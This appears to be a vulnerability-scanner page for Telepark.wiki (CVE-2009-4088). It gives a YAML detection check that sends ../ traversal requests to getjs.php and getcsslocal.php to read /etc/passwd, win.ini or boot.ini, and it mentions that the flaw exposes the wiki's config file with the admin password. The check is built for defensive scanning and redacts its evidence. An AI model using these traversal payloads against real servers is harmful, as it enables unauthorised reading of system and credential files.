Telepark.wiki — 1 vulnerability check

noctis ships 1 vulnerability check for Telepark.wiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Telepark.wiki getjs.php / getcsslocal.php Directory Traversal

CVECVE-2009-4088
Severitymedium · CVSS 6.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/telepark-wiki/CVE-2009-4088.yaml

Tests Telepark.wiki 2.4.23 and earlier for the unauthenticated arbitrary file read in getjs.php and getcsslocal.php, which open the file named by the js or css parameter relative to the wiki folder and print it. The feed requests both scripts under the usual wiki folders (the web root, /Telepark.wiki, /telepark.wiki, /telepark, /wiki) with the parameter set to a ../ sequence ending in etc/passwd and, when the script answers but no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the read. A control request for an absent random file through the same script must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{u.passwd}}
  3. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{u.winini}}
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request GET {{u.bootini}}
  8. Checks bootini_r.body for (?i)\[boot loader\]
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{ctrl_path}}
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Telepark.wiki getjs.php / getcsslocal.php Directory Traversal (CVE-2009-4088)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Telepark.wiki getjs.php / getcsslocal.php Directory Traversal (CVE-2009-4088)

References:

Feed source — tests/vulnerabilities/telepark-wiki/CVE-2009-4088.yaml
# Telepark.wiki getjs.php / getcsslocal.php directory traversal — CVE-2009-4088
#
# Telepark.wiki <= 2.4.23 (a PHP wiki by Telepark / teamtodo.com) ships two
# helper scripts that read a file relative to the wiki folder and print it,
# with no check on the name and no login (advisory: Abysssec, exploit-db 10101):
#     getjs.php        $js  = $_GET['js'];  fopen($filepath.$js,  "r") ...
#     getcsslocal.php  $css = $_GET['css']; fopen($filepath.$css, "r") ...
# where $filepath is the wiki folder with a trailing "/", so "../" sequences
# read any file the web server user can read. 2.4.25 only opens files ending
# in .js / .css (pathinfo() extension check) and dies otherwise.
#
# Detection (benign, read-only): GET getjs.php?js=<../×10>etc/passwd (the
# advisory's getjs PoC names the parameter css, so it is sent too) and
# getcsslocal.php?css=<../×10>etc/passwd under the usual wiki folders, and
# match the CONTENT of /etc/passwd; when the script answers but no passwd line
# comes back, windows/win.ini, then boot.ini. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - The NASL only compares the version found by its Telepark.wiki detection
#     with 2.4.25; the feed proves the file read itself, so back-ported fixes
#     and installs whose version is hidden are judged on their behaviour.
#   - A control request (same script and parameter, a path in an absent random
#     directory that still ends with the file that hit) must come back WITHOUT
#     any of these files; a blanket responder or a honeypot keying a fake file
#     on the path suffix is not reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVEs: the NASL lists CVE-2009-4087 (index.php PATH_INFO XSS), CVE-2009-4088
# (this file read), CVE-2009-4089 (ajax/deletePage.php and deleteComment.php
# delete pages / comments without login) and CVE-2009-4090 (ajax/addComment.php
# upload of a .php file). Only the file read is proven: deleting content or
# uploading a script writes to the site, and the XSS is a separate, client-side
# flaw. CVSS: CVE-2009-4088 v2 6.8 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_telepark_wiki_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801068, GPL-2.0-only).
uid: be765a72-0953-4c18-b7ab-145a1ccb5d13
name: "Telepark.wiki getjs.php / getcsslocal.php Directory Traversal (CVE-2009-4088)"
description: |
  Tests Telepark.wiki 2.4.23 and earlier for the unauthenticated arbitrary file
  read in getjs.php and getcsslocal.php, which open the file named by the js
  or css parameter relative to the wiki folder and print it. The feed requests
  both scripts under the usual wiki folders (the web root, /Telepark.wiki,
  /telepark.wiki, /telepark, /wiki) with the parameter set to a ../ sequence
  ending in etc/passwd and, when the script answers but no passwd content comes
  back, windows/win.ini and then boot.ini. The content of the file in the
  reply confirms the read. A control request for an absent random file through
  the same script must not return any of these files, so a server that serves
  the same content on every request is not reported. Only world-readable
  system files are read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2009-4088]
cvss: 6.8
severity: medium
category: file-read
confidence_base: 0.30
tags: [telepark-wiki, php, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4088"
  - "https://www.exploit-db.com/exploits/10101"
  - "https://packetstormsecurity.com/files/82681/Telepark-Wiki-2.4.23-XSS-Code-Execution.html"
  # OpenVAS/Greenbone NASL 2009/gb_telepark_wiki_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per "<folder>|<script>".
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: target
      over:
        - "|getjs"
        - "|getcsslocal"
        - "/Telepark.wiki|getjs"
        - "/Telepark.wiki|getcsslocal"
        - "/telepark.wiki|getjs"
        - "/telepark.wiki|getcsslocal"
        - "/telepark|getjs"
        - "/telepark|getcsslocal"
        - "/wiki|getjs"
        - "/wiki|getcsslocal"

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-win-path
    action: set_var
    var_name: win_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # Request paths for this pass: getjs.php reads js (the advisory's PoC calls
  # it css, so both carry the path); getcsslocal.php reads css. The control
  # path sits in a random missing directory but still ENDS with each file.
  - id: build-urls
    action: script
    code: |
      let p = target.split("|");
      let up = "../../../../../../../../../../";
      let absent = up + "noctis-absent-" + oob_token + "/";
      let q = |f| {
        if p[1] == "getjs" {
          p[0] + "/getjs.php?js=" + f + "&css=" + f
        } else {
          p[0] + "/getcsslocal.php?css=" + f
        }
      };
      #{
        passwd: q.call(up + "etc/passwd"),
        winini: q.call(up + "windows/win.ini"),
        bootini: q.call(up + "boot.ini"),
        ctrl_passwd: q.call(absent + "etc/passwd"),
        ctrl_winini: q.call(absent + "windows/win.ini"),
        ctrl_bootini: q.call(absent + "boot.ini")
      }
    store_as: u

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{u.passwd}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered (200) and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{u.winini}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{u.bootini}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  - id: windows-hit-path
    action: script
    code: |
      if win_file == "windows/win.ini" { u.winini } else { u.bootini }
    condition: 'lin_proof == "" && win_file != ""'
    store_as: win_path

  # ── Control: same script, absent random file — must NOT carry a file ─────
  - id: control-path
    action: script
    code: |
      if lin_proof != "" { u.ctrl_passwd }
      else if win_file == "windows/win.ini" { u.ctrl_winini }
      else { u.ctrl_bootini }
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered like the probe and stayed clean) ──────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Telepark.wiki getjs.php / getcsslocal.php Directory Traversal (CVE-2009-4088)"
        description: "An unauthenticated request to a Telepark.wiki helper script (getjs.php or getcsslocal.php) with a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as includes/config.inc.php with the wiki's superadmin password."
        remediation: "Upgrade Telepark.wiki to 2.4.25 or later (getjs.php and getcsslocal.php then only open .js / .css files), or remove getjs.php and getcsslocal.php from the server."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{u.passwd}} returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Telepark.wiki getjs.php / getcsslocal.php Directory Traversal (CVE-2009-4088)"
        description: "An unauthenticated request to a Telepark.wiki helper script (getjs.php or getcsslocal.php) with a ../ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as includes/config.inc.php with the wiki's superadmin password."
        remediation: "Upgrade Telepark.wiki to 2.4.25 or later (getjs.php and getcsslocal.php then only open .js / .css files), or remove getjs.php and getcsslocal.php from the server."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{win_path}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub